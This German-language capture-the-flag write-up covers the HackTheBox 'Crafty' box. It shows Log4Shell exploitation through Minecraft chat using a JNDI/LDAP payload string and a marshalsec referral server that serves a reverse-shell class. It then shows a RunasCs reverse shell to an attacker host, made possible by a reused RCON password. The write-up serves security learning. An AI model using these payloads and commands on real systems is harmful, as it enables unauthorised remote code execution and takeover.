// HackTheBox

Crafty

Log4Shell (CVE-2021-44228) über Minecraft-Chat → RCON-Passwort als lokales Administrator-Passwort wiederverwendet

HackTheBoxLeichtWindows 20. Juli 2026 5 Min. Lesezeit

Aufklärung

Ein nmap -sV -sC-Scan der Top-1000-Ports zeigte nur 80/tcp. Wenn ein Standard-Scan auf einer um einen Spielserver herum gestalteten Box nur einen einzigen Web-Port findet, ist das ein Hinweis, breiter zu suchen, also folgt ein vollständiger Port-Sweep (-p-) — und er fördert den eigentlichen zweiten Dienst zutage, 25565/tcp:

Port Dienst
80 HTTP (IIS 10.0, “Crafty - Official Website”, Fan-Seite eines Minecraft-Servers)
25565 Minecraft

25565 ist der Standard-Port von Minecraft. Ein selbst geschriebener Server-List-Ping (exploit/mc_ping.rb, eine Raw-Socket-Implementierung des Minecraft-Status-Handshakes) bittet den Server, sich zu identifizieren, und erhält Version 1.16.5 / Protokoll 754 zurück. Diese Version liegt genau im Bereich, der ein verwundbares log4j auslieferte, also ist dies ein Log4Shell-Kandidat (CVE-2021-44228) — der Faden, an dem man zieht. Log4Shell ist eine Schwachstelle in der log4j-Logging-Bibliothek, bei der jeder angreiferkontrollierte String, der geloggt wird, ein ${jndi:ldap://...}-Lookup enthalten kann, das den Server veranlasst, über JNDI/LDAP nach außen zu greifen und eine entfernte Java-Klasse zu laden. Ein Minecraft-Server loggt den Spieler-Chat, also ist der Chat ein Übermittlungspfad direkt in den Logger.

Erstzugang — Log4Shell (CVE-2021-44228) über Minecraft-Chat

Die Exploit-Kette lautet: den Server dazu bringen, unseren ${jndi:...}-String zu loggen → er fragt unseren LDAP-Server ab → unser LDAP-Server verweist ihn an unseren HTTP-Server → er lädt unsere bösartige Java-Klasse herunter und führt sie aus. Keines der benötigten Werkzeuge (java, marshalsec, mcstatus) ist vorinstalliert, also muss alles zunächst zusammengestellt werden. Der Container hat Internet-Egress, was das schnell macht.

1. Die Werkzeuge bauen

Ein JDK und Maven installieren, dann marshalsec klonen und bauen — ein Toolkit, das einen LDAP-Referral-Server enthält, die Komponente, die das JNDI-Lookup des Opfers an unseren HTTP-Server umleitet. marshalsec benötigt nur ein modernes JDK zum Ausführen; seine JDK-Version ist unabhängig von der des Ziels:

$ apt-get install openjdk-17-jdk-headless maven
$ git clone https://github.com/mbechler/marshalsec
$ mvn clean package -DskipTests

Das erzeugt marshalsec-0.0.3-SNAPSHOT-all.jar.

2. Die Payload-Klasse kompilieren

Exploit.java ist die Klasse, die das Ziel abrufen und ausführen wird — eine Reverse-Shell-Payload, die cmd.exe oder /bin/sh je nach dem OS wählt, auf dem sie landet. Sie wird auf Java-8-Bytecode kompiliert, damit sie auf der vermutlich alten, mit dem Minecraft-Server gebündelten JRE lädt (eine neuere Class-Datei-Version würde von einer älteren JVM abgelehnt):

$ javac --release 8 Exploit.java

3. Die Klasse über HTTP bereitstellen

Ein einfacher HTTP-Server läuft in dem Verzeichnis, das Exploit.class enthält, sodass das Ziel sie herunterladen kann, sobald das LDAP-Referral dorthin zeigt:

$ ruby -run -e httpd . -p 8000

4. Den LDAP-Referral-Server starten

marshalsecs LDAPRefServer lauscht auf 1389 und beantwortet JNDI-Lookups mit einem Verweis auf unsere per HTTP gehostete Klasse. Das #Exploit-Fragment benennt die zu ladende Klasse:

$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<LHOST>:8000/#Exploit"

5. Den JNDI-String über den Minecraft-Chat übermitteln

Da kein Minecraft-Client und kein mcstatus verfügbar sind, wird ein minimaler Minecraft-Protokoll-Client selbst geschrieben (exploit/mc_log4shell.rb), der Handshake, Login und Chat durchführt. Minecraft-Benutzernamen sind auf 16 Zeichen begrenzt — zu kurz, um einen JNDI-String aufzunehmen — also loggt der Client sich mit einem gewöhnlichen kurzen Benutzernamen ein und sendet die Payload stattdessen als Chat-Nachricht:

${jndi:ldap://<LHOST>:1389/a}

Zwei Protokolldetails müssen behandelt werden, damit der Chat ankommt: das Set Compression-Paket des Servers (sobald die Komprimierung aktiviert ist, wird ein Data-Length-varint vor der Paket-ID eingefügt, was das Framing ändert) und der anfängliche Schwall von Play-State-Setup-Paketen, der abgearbeitet werden muss, bevor der Chat gesendet wird — sonst geraten Framing und Timing durcheinander.

6. Die Shell auslösen und abfangen

Das log4j des Servers loggt die Chat-Zeile, führt das JNDI-Lookup gegen unseren LDAP-Server durch, wird an unseren HTTP-Server verwiesen, holt Exploit.class und führt es aus. Die Reverse-Shell landet als crafty\svc_minecraft.

Rechteausweitung — RCON-Passwort als lokales Administrator-Passwort wiederverwendet

Das Durchsuchen der Dateien von svc_minecraft fördert ein benutzerdefiniertes Server-Plugin zutage unter C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar. Es gibt keinen Datei-Upload-Kanal, aber einer wird nicht benötigt: certutil -encode kodiert das JAR auf dem Ziel base64, und type gibt diese Kodierung über die Reverse-Shell aus, um sie abzugreifen und lokal zu dekodieren:

$ certutil -encode playercounter-1.0-SNAPSHOT.jar playercounter.b64
$ type playercounter.b64

Das lokale Dekompilieren des JAR mit javap -c -p offenbart, dass die onEnable()- Methode des Plugins eine RCON-Verbindung fest einkodiert (RCON ist das Remote-Konsolen-Protokoll von Minecraft):

new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes())

Der interessante Teil ist gar nicht RCON — derselbe String, s67u84zKq8IXw, ist auch das lokale Administrator-Passwort (Credential-Wiederverwendung). Um ihn zu nutzen, wird RunasCs.exe (aus dem Release antonioCoco/RunasCs) per Invoke-WebRequest von unserem HTTP-Server auf das Ziel geholt. RunasCs führt einen Befehl als ein anderer Benutzer aus, sofern dessen Zugangsdaten vorliegen; hier startet es eine Reverse-Shell als Administrator:

$ RunasCs.exe Administrator s67u84zKq8IXw cmd.exe -r <LHOST>:9002

Das liefert direkt eine Reverse-Shell als crafty\administrator. Keine SeImpersonate-artige Potato-Technik war nötig — whoami /all als svc_minecraft zeigte keine nützlichen Privilegien, daher war dieser Credential-Wiederverwendungs-Pfad die einzige Route.

Erkenntnisse

  • In dieser Umgebung war kein mcstatus/Minecraft-Client/marshalsec-Werkzeug für Spielprotokoll- oder JNDI-Arbeit vorinstalliert — alles davon (JDK, maven, marshalsec- Build, ein von Grund auf gebauter Minecraft-Protokoll-Client) musste ad hoc zusammengestellt werden. apt-get install openjdk-17-jdk-headless maven und der Bau von marshalsec aus dem Quellcode funktionierten problemlos und dauerten unter einer Minute; nicht annehmen, ein fehlendes Werkzeug blockiere die Box, das minimal nötige Stück zu bauen ist oft schnell erledigt.
  • Minecraft-Benutzernamen sind auf 16 Zeichen begrenzt — zu kurz für die meisten JNDI-Payload- Strings. Chat-Nachrichten (256 Zeichen Limit) sind speziell bei diesem Spielprotokoll das zuverlässigere Log4Shell-Übermittlungsfeld.
  • Der LDAP-Referral-Server (marshalsec) muss nur unter einem modernen JDK laufen; die auf --release 8 gezielte Bytecode-Anforderung gilt nur für die tatsächlich vom (alten) JVM des Ziels geladene Payload-.class.
  • Fest einkodierte Dienst-Credentials (ein in ein Plugin-JAR eingebackenes RCON-Passwort) sind ein wiederkehrender Privesc-/Lateral-Move-Vektor bei Minecraft-Server-thematisierten Boxen — immer jedes gefundene benutzerdefinierte Plugin-JAR dekompilieren, nicht nur dessen Strings lesen.
← Alle Writeups